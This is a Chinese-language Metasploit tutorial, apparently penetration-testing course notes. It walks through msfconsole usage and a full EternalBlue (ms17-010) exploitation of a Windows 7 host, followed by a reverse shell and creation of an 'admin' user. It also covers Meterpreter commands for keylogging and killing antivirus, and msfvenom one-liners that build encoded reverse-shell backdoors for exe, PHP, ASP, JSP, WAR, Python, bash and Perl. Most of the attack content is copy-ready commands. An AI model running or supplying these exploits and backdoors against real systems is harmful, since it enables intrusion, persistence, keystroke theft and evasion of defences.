Metasploit简介
Metasploit 是The Metasploit framework的简称,框架由多个module组成
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的漏洞,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试
Kali-metasploit框架目录路径:/usr/share/metasploit-framework
Metasploit目录
data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation:包含框架的可用文档。
lib:metasploit的库文件夹。
plugins:用来存放metasploit的插件。
scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
tools:存放多种的命令行实用程序。
modules:存储metasploit的模块文件
Modules目录
Msf所有的漏洞测试都是基于模块
auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命
名规则:操作系统/各种应用协议分类
payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
evasion:躲避模块,用来生成免杀payload
nops:空指令就是空操作,提高 paylaod 稳定性及维持大小
Metasploit模块使用
Msfconsole
Msfconsole是Metasploit框架用户接口,我们能通过Msfconsole接口使用Metasploit中所有模块
Msfconsole主要用于:
1.管理Metasploit数据库
2.管理会话
3.配置启动Metasploit模块
启动方式:
kali终端输入: msfconsole
kali-metasploit更新:
msfconsole -v #查看版本
apt-get update
apt-get install metasploit-framework
msfconsole基础使用
help:该命令允许用户查看执行命令的帮助信息。
use module:该命令允许用户加载选择的模块。
set optionname module:该命令允许用户为模块设置不同的选项。
run&exploit:运行一个模块
search :搜索msf中相关组件
exit:该命令允许用户退出msfconsole。
MSF常用命令
show exploits – 查看所有可用的渗透攻击程序代码
show auxiliary – 查看所有可用的辅助攻击工具
[show ]options/advanced – 查看该模块可用选项
show payloads – 查看该模块适用的所有载荷代码
show targets – 查看该模块适用的攻击目标类型
search – 根据关键字搜索某模块
info – 显示某模块的详细信息
use – 使用某渗透攻击模块
back – 回退
set/unset – 设置/禁用模块中的某个参数
setg/unsetg – 设置/禁用适用于所有模块的全局参数
常用的命令。
1、核心命令中的connect命令
connect 命令主要用于远程连接主机。一般用于内网渗透。比较常用的命令就是“connect 192.168.1.1 80”
192.168.1.1 是 IP 地址 80是端口号。
查看connect命令参数:
msf6 > connect #直接回车
连接目标80端口
msf6 > connect xuegod.cn 80 #连接上后在另一行,直接输入 get /
[*] Connected to xuegod.cn:80
get / #提交一个get请求,可以查看到服务器版本号
HTTP/1.1 400 Bad Request
Server: nginx/1.6.2
Date: Sat, 29 Jun 2019 09:54:16 GMT
Content-Type: text/html
Content-Length: 172
Connection: close
2、模块相关的命令show使用方法
show命令用的很多。
“show”命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options
例1:列出metasploit框架中的所有渗透攻击模块exploits。
msf6 > show exploits
#列出metasploit框架中的所有渗透攻击模块。该命令列出数据较多,较为耗费时间。
msf6 > show payloads #列出metasploit框架中的所有攻击载荷。
msf6 > show auxiliary #列出metasploit框架中的所有辅助攻击载荷。
3、模块相关的命令search搜索的使用方法
当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。所以search搜索命令就很重要。
当你输入search –h会列出search命令的一些选项。
msf6 > search -h
Usage: search [ options ] #search后主要加选项和关键字
例1:通过name关键字进行查找
这里需要用到name:命令。
msf5 > search mysql # search 后直接跟要查找内容,查得很广泛。只有当你对漏洞名字很描述很清楚时,使用这个方法
例:先查找出自己想要的ms08_067漏洞模块。
msf6 > search ms08_067
语法:Search Keywords参数:关键字
比如msf6 > search name:mysql #要查找mysql数据库的漏洞
每列的含意是:
Name Disclosure Date Rank Check Description
编号 名称 披露日期 排名 检查 说明
Disclosure [dɪsˈkləʊʒə®] 揭露;透露;公开;
rank [ræŋk] 等级 ,rank通常用来描述漏洞级别
每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。
用户可以基于 Rank 对漏洞利用模块进行搜索,分类以及排序。
Rank 按照可靠性降序排列:
excellent 漏洞利用程序绝对不会使目标服务崩溃,就像 SQL 注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别。
great 该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址。
good 该漏洞利用程序有一个默认目标系统,并且是这种类型软件的“常见情况”(桌面应用程序的Windows 7,服务器的2012等)
normal 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。
average 该漏洞利用程序不可靠或者难以利用。
low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于 50% 的利用成功率)
manual 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。
例2:通过路径进行查找
只记得模块的路径,但是却忘记了模块的名称。那么就可以用path:命令查找在该路径下的所有模块。如果我要mysql路径下的所有mysql利用模块,那么就输入:
msf6 > search path:mysql
例3:缩小查询范围
关键字:platform [ˈplætfɔːm] 平台
作用: Modules affecting this platform 即:列出可以影响此平台的模块,也就是比较好的漏洞
有时候我们会搜索到大量的模块,那么可以用platform:命令来缩小查询范围。使用platform命令后,所查询的结果会列出rank比较高的模块。如果我要查找mysql的漏洞,那么输入:
msf6 > search platform:mysql
例4:通过类型进行查找
这里要使用到type:命令。
type : 特定类型的模块(exploit, payload, auxiliary, encoder, evasion, post, or nop)
要搜索exploit模块,那么就输入:
msf6 > search type:exploit
例5:联合查找
大家可以使用上面的参数自行搭配使用。如果我要查找mysql的exploit相关漏洞。那么输入:
msf6 > search name:mysql type:exploit
例6:根据CVE搜索exploit 相关模块
互动:CVE是什么? 听过:1 没有:2
CVE概述:CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露。
CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。使用一个共同的名字,可以帮助用户在各自独立的各种漏洞数据库中和漏洞评估工具中共享数据,虽然这些工具很难整合在一起。这样就使得CVE成为了安全信息共享的“关键字”。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息 解决安全问题。
查找:CVE-2017-8464远程命令执行漏洞
msf6 > search cve:CVE-2017-8464 type:exploit
查找2020年linux相关的漏洞模块
msf6 > search cve:2020 name:linux
搜索参数可以组合使用,可以更精准的查询到对应的模块。
3、模块相关的命令use的使用方法
use 使用参数。如你要使用到某个模块,就要使用到use命令
语法:use 模块的名字
(1)、先查找出自己想要的ms08_067漏洞模块。
msf6 > search ms08_067
(2)、装载一个渗透攻击模块
msf6 > use exploit/windows/smb/ms08_067_netapi
我们可以看到使用use装载模块后我们的bash提示符会变成对应的模块信息。稍后我们使用这个模块进行攻击。
msf6 exploit(windows/smb/ms08_067_netapi) > back #back 退出当前调用的模块
3、模块相关的命令info的使用方法
info :显示模块的相关信息。
方法1:info 模块名称
msf6 > info exploit/windows/smb/ms08_067_netapi
方法2:use装载模块后直接使用info
msf6 > use exploit/windows/smb/ms08_067_netapi
从弹出的消息中,需要重点关注的内容是:
(1)、可用目标,就是查看可以攻击哪些操作系统
2.Basic options: 调用漏洞需要的相关参数
(3)、 漏洞描述和执行过程:
(4)、 参考文档
方法2:使用show命令查看模块的相关信息
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看模块的选项
msf6 exploit(windows/smb/ms08_067_netapi) > show targets #查看可以攻击哪些操作系统
设置RHOSTS参数,指定攻击的目标机器
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 192.168.1.54
msf6 exploit(windows/smb/ms08_067_netapi) > show options #查看设置的值
配置好了之后我们输入exploit 或run就可以执行该模块。
msf6 exploit(windows/smb/ms08_067_netapi) > back #使用 back 即可退出装载的模块
注:不要使用exit,exit会直接退出Metasploit程序
实战-使用msf渗透攻击Win7主机并远程执行命令
我们先扫描目标是否存在ms17-010漏洞
msf6 > search ms17-010
使用use命令选中这个模块
msf6 > use auxiliary/scanner/smb/smb_ms17_010
查看模块需要配置的信息
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
需要我们配置RHOST主机IP
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
开始扫描
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
目标看起来易受攻击,也就表示可能存在相关漏洞。
查找攻击模块
msf6 > search ms17-010
使用use命令加载模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
设置目标主机IP
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
查看exploit target 目标类型:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets
可以看到这个模块只有一个target,所以默认就选择这个目标系统。不需要手动设置。
我们已经配置好漏洞相关参数了,接下来应该做什么?
找一个payload,获取shell远程连接权限后,进行远程执行命令,由于模块加载的时候默认指定了一个payload
如果不想使用默认指定的payload,可以自己找一个payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
type:payload
注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
我们挑选一个反弹shell的payloads
注:设置的时候payload和windows之间有空格。
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/shell/reverse_tcp
查看一下payloads需要配置什么信息
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的
payload 信息
设置一下本机payload监听地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
配置完成后开始执行
exploit [ɪkˈsplɔɪt 运用;利用;
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
注:如果等待没有出现shell提示符可以敲一下回车。
直接执行的话会获得目标主机的SEHLL
使用DOS命令创建用户
C:\Windows\system32>net user admin admin /add
显示乱码但是已经添加成功
拓展:解决乱码问题(乱码是因为windows和linux的编码不一样导致的)
C:\Windows\system32>chcp 65001
查看用户
C:\Windows\system32>net user
可以看到新建的用户已经创建成功。
查看拿到的用户权限
C:\Windows\system32>whoami
有很多实站案例我就不写了,具体可以百度
实战-使用msf扫描靶机上mysql服务的空密码
基于tcp协议收集主机信息
基于SNMP协议收集主机信息
基于SMB协议收集信息
基于SSH协议收集信息
基于FTP协议收集信息
Meterpreter扩展模块
Meterpreter介绍
meterpreter是一个高级、动态、可扩展的payload,简单理解是一个高级的CMD,里面封装了Metasploit的功能
如何进入Meterpreter
background:将当前session挂起
sessions[ -l]:列出当前所有的session
sessions[ -i] id:进入某个session
Meterpreter基本利用
上传 执行 下载
execute:在目标机器执行文件
创建新进程cmd.exe,-H不可见,-i交互
Upload:上传文件
Download:下载文件
Meterpreter常用命令
meterpreter > background 放回后台
meterpreter > exit 关闭会话
meterpreter > help 帮助信息
meterpreter > sysinfo系统平台信息
meterpreter > screenshot 屏幕截取
meterpreter > shell 命令行shell (exit退出)
meterpreter > getlwd 查看本地目录
meterpreter > lcd 切换本地目录
meterpreter > getwd 查看目录
meterpreter > ls 查看文件目录列表
meterpreter> keyscan_start 开启键盘记录
start改为stop则为关闭
meterpreter > cd 切换目录
meterpreter > rm 删除文件
meterpreter > download C:\\1.txt 1.txt 下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传 文件
meterpreter > search -d c: -f *.doc 搜索文件
meterpreter > execute -f cmd.exe -i 执行程序/命令
meterpreter > ps 查看进程
meterpreter > getuid 查看当前用户权限 meterpreter > run killav 关闭杀毒软件
meterpreter > run getgui-e 启用远程桌面
Msfvenom生成Payload
Msfvenom
msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一个框架实例中。
msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听上线,获得meterpreter
Msfvenom常用参数
-p:--payload,指定特定的 Payload,如果被设置为 -,那么从标准输入流中读取。几乎支持全平台。
-l:--list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n:--nopsled,指定 nop 在 payload 中的数量
-f:--format,指定 Payload 的输出格式(--list formats:列出所有可用的输出格式)
-e:--encoder,指定使用的encoder
-a:--arch,指定目标系统架构
--platform:指定目标系统平台
-s:--space,设置未经编码的 Payload 的最大长度(--encoder-space:编码后的 Payload 的最大长度)
-b:--bad-chars,设置需要在 Payload 中避免出现的字符,例如:’\0f’、’\x00’等
-i:--iterations,设置 Payload 的编码次数
--smallest:尽可能生成最短的 Payload
-o:--out,保存 Payload 到文件
Msfvenom生成windows可执行程序
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=5445 –e x86/shikata_ga_nai –i 8 -f exe -o hello.exe
X86/shikata_ga_nai是指定对shellcode的编码方法,编码随机生成 -i 8 是指定编码次数
Msfconsole开启监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.40.132
msf6 exploit(multi/handler) > set lport 5445
msf6 exploit(multi/handler) > run
Msfvenom生成web payload
php:
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.php
asp:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address>
LPORT= <Your Port to Connect On> -f aspx - o shell.aspx
jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
raw >shell.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f
war > shell.war
web payload如何使用
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.40.151 lport=5000 -f raw –o
/root/Desktop/shell.php
Msfvenom生成脚本payload
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw
> shell.sh
perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw >
shell.pl
脚本payload上线
Stageless&staged payload
/meterpreter/reverse_tcp 和 /meterpreter_reverse_tcp区别
payload分为staged和stageless:
Staged payload: /[arch]//
Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:
reverse_tcp、 bind_tcp
Stageless payload: /[arch]/
Stageless Meterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑在一起,将完整的payload都编译在木马中,体积庞大
Staged只建立连接并接受payload而stageless之间省去了接受payload的步骤